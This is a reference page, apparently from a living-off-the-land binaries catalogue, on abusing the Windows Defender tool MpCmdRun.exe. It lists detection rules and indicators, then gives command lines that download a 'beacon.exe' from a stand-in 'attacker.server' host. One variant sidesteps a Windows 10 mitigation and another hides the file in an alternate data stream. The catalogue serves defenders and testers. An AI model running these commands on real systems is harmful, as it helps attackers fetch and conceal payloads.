.. /MpCmdRun.exe

Download | Alternate data streams

Binary part of Windows Defender. Used to manage settings in Windows Defender

Paths:
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe

Resources:

- https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus
- https://twitter.com/mohammadaskar2/status/1301263551638761477
- https://twitter.com/Oddvarmoe/status/1301444858910052352
- https://twitter.com/NotMedic/status/1301506813242867720

Acknowledgements:

- Askar (@mohammadaskar2)
- Oddvar Moe (@oddvarmoe)
- RichRumble
- Cedric (@th3c3dr1c)

Detections:

- Sigma: https://github.com/SigmaHQ/sigma/blob/159bf4bbc103cc2be3fef4b7c2e7c8b23b63fd10/rules/windows/process_creation/win_susp_mpcmdrun_download.yml
- Elastic: https://github.com/elastic/detection-rules/blob/6ef5c53b0c15e344f0f2d1649941391aea6fa253/rules/windows/command_and_control_remote_file_copy_mpcmdrun.toml
- IOC: MpCmdRun storing data into alternate data streams.
- IOC: MpCmdRun retrieving a file from a remote machine or the internet that is not expected.
- IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
- IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
- IOC: User Agent is "MpCommunication"

Download

. Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)

```
MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe
```

Use case:	Download file
Privileges required:	User

Operating systems:	Windows 10
ATT&CK® technique:	T1105

. Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path) [updated version to bypass Windows 10 mitigation]

```
copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe"
C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\"
&& "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url https://attacker.server/beacon.exe -path
C:\Users\Public\Downloads\evil.exe
```

Use case:	Download file
Privileges required:	User
Operating systems:	Windows 10
ATT&CK® technique:	T1105

Alternate data streams

Download file to machine and store it in Alternate Data Stream

```
MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\temp\nicefile.txt:evil.exe
```

Use case:	Hide downloaded data inton an Alternate Data Stream
Privileges required:	User
Operating systems:	Windows 10
ATT&CK® technique:	T1564.004